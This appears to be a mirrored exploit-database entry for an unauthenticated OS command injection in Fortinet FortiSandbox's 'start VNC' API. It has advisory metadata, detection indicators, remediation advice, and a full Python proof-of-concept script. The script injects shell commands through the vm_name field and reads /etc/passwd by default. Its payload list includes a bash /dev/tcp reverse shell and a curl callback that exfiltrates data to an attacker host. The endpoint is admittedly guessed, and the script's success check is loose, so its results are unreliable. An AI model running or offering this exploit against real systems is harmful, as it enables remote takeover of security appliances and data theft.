Critical CVE-2026-25089 patched

Fortinet FortiSandbox "Start VNC" OS Command Injection (CVE-2026-25089)

by Ashraf Zaryouh (0xBlackash) · 2026-07-05

CVSS 9.8/10

Severity: Critical
CVE: CVE-2026-25089
Category: network
Affected product: Fortinet FortiSandbox (Web UI "start VNC" feature)
Affected versions: FortiSandbox 4.2.x, 4.4.0-4.4.8, 5.0.0-5.0.5; FortiSandbox Cloud/PaaS 5.0.4-5.0.5
Disclosed: 2026-07-05
Patch status: patched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	Ashraf Zaryouh (0xBlackash)
CVE / Advisory	CVE-2026-25089
Category	network
Severity	Critical
CVSS Score	9.8 (CVSSv3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per source README)
Status	PoC
Tags	fortisandbox, fortinet, command-injection, cwe-78, unauthenticated, rce, appliance, network
Related	N/A

Affected Target

Field	Value
Software / System	Fortinet FortiSandbox (Web UI “start VNC” feature)
Versions Affected	FortiSandbox 4.2.x, 4.4.0-4.4.8, 5.0.0-5.0.5; FortiSandbox Cloud/PaaS 5.0.4-5.0.5
Language / Platform	Python 3 PoC against a FortiSandbox appliance HTTP API
Authentication Required	No
Network Access Required	Yes

Summary

FortiSandbox’s Web UI “start VNC” feature passes a caller-supplied virtual machine name into an OS command without proper neutralization of shell metacharacters, allowing an unauthenticated attacker to inject arbitrary commands executed on the underlying appliance operating system. The included PoC posts a JSON payload to a start VNC API path with a vm_name value containing a semicolon-delimited command injection sequence and reports whether the response indicates the target may have executed the injected command. The script’s own comment notes the exact endpoint path (/api/vnc/start) is a best guess based on “common endpoint for start VNC” naming rather than something confirmed against a live target, so the URL may need adjustment per deployment/version.

Vulnerability Details

Root Cause

Improper neutralization of special elements used in an OS command (CWE-78): the FortiSandbox “start VNC” handler builds a shell/system command using an attacker-controlled vm_name value without sanitization, allowing command chaining via characters such as ;.

Attack Vector

Attacker identifies a reachable FortiSandbox Web UI/API on the target network (no authentication required).
Attacker sends a crafted POST request to the “start VNC” endpoint with vm_name set to <placeholder>; <attacker command> #.
The vulnerable handler passes this value into an OS command invocation, executing the injected command as a side effect of the semicolon command separator.
Attacker observes the HTTP response and/or out-of-band callback (e.g., reverse shell, curl-to-attacker) to confirm code execution.

Impact

Unauthenticated remote code execution on the FortiSandbox appliance, potentially exposing sandboxed malware analysis data and providing a pivot point into the internal network.

Environment / Lab Setup

Target:   FortiSandbox appliance (4.2.x, 4.4.0-4.4.8, or 5.0.0-5.0.5) reachable over HTTP/HTTPS
Attacker: Python 3, requests library

Proof of Concept

PoC Script

See CVE-2026-25089.py in this folder.

1
python3 CVE-2026-25089.py http://TARGET -c "id; whoami; cat /etc/passwd"

The script posts a JSON body to {target}/api/vnc/start with vm_name set to test-vm; <command> # and prints the HTTP status and response body, flagging a 200/500 response as a possible indicator that the injected command executed; a --list flag also prints common reverse-shell and callback payload examples.

Detection & Indicators of Compromise

Signs of compromise:

Outbound connections from the FortiSandbox appliance to unfamiliar external hosts shortly after a VNC-start API call
Command shell or reverse-shell processes running under the web service’s user context
Unusual entries in appliance logs referencing VNC session starts with malformed vm_name values

Remediation

Action	Detail
Primary fix	Upgrade to FortiSandbox 5.0.6, 4.4.9, or later per vendor advisory
Interim mitigation	Restrict management interface exposure to trusted networks/VPN only, apply ACLs, and monitor for anomalous process spawning on the appliance until patched

References

Source repository

Notes

Mirrored from https://github.com/0xBlackash/CVE-2026-25089 on 2026-07-05.

CVE-2026-25089.py

python raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
"""
CVE-2026-25089 - Fortinet FortiSandbox OS Command Injection
Unauthenticated Remote Code Execution via "start VNC" JSON endpoint

Author: Ashraf Zaryouh (0xBlackash)
GitHub: https://github.com/0xBlackash
Date: June 2026

Description:
    Improper neutralization of special elements in OS command (CWE-78)
    in the FortiSandbox Web UI "start VNC" feature.

Affected Versions:
    FortiSandbox 4.2.x, 4.4.0 - 4.4.8, 5.0.0 - 5.0.5
    (Cloud & PaaS variants also affected)

Fixed in: 4.4.9+, 5.0.6+

Tested on: FortiSandbox 4.4.6 / 5.0.4
"""

import argparse
import json
import requests
import sys
import urllib3
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("""
╔══════════════════════════════════════════════════════════════════════╗
║                CVE-2026-25089 FortiSandbox RCE PoC                   ║
║                  Author: Ashraf Zaryouh (0xBlackash)                 ║
╚══════════════════════════════════════════════════════════════════════╝
    """)

def exploit(target, cmd, vnc_port=5900):
    url = urljoin(target, "/api/vnc/start")  # Common endpoint for start VNC
    
    # Malicious payload - command injection via vm_name
    payload = {
        "vm_name": f"test-vm; {cmd} #",
        "vnc_port": vnc_port,
        "extra": ""
    }

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (compatible; FortiSandbox PoC - 0xBlackash)"
    }

    try:
        print(f"[+] Sending exploit to {url}")
        print(f"[+] Injected Command: {cmd}")
        
        r = requests.post(url, json=payload, headers=headers, verify=False, timeout=15)
        
        print(f"[+] HTTP Status: {r.status_code}")
        if r.text:
            print(f"[+] Response: {r.text[:500]}...")
        
        if r.status_code in [200, 500]:
            print("[+] Target appears vulnerable (possible command execution)")
        else:
            print("[-] Unexpected response code")
            
    except Exception as e:
        print(f"[-] Request failed: {e}")

def main():
    banner()
    
    parser = argparse.ArgumentParser(description="CVE-2026-25089 PoC by 0xBlackash")
    parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100:8080)")
    parser.add_argument("-c", "--command", default="id; whoami; cat /etc/passwd", 
                        help="Command to execute (default: id; whoami; cat /etc/passwd)")
    parser.add_argument("-p", "--port", type=int, default=5900, help="VNC port (default: 5900)")
    parser.add_argument("--list", action="store_true", help="Show common useful payloads")
    
    args = parser.parse_args()

    if args.list:
        print("\nCommon Payloads:")
        print("  id; whoami")
        print("  cat /etc/passwd")
        print("  curl http://your-ip:4444/$(whoami)")
        print("  bash -i >& /dev/tcp/your-ip/4444 0>&1")
        sys.exit(0)

    exploit(args.target.rstrip("/"), args.command, args.port)
    
    print("\n[!] For educational and authorized testing purposes only.")
    print("[!] Patch immediately to FortiSandbox 5.0.6 / 4.4.9+")

if __name__ == "__main__":
    main()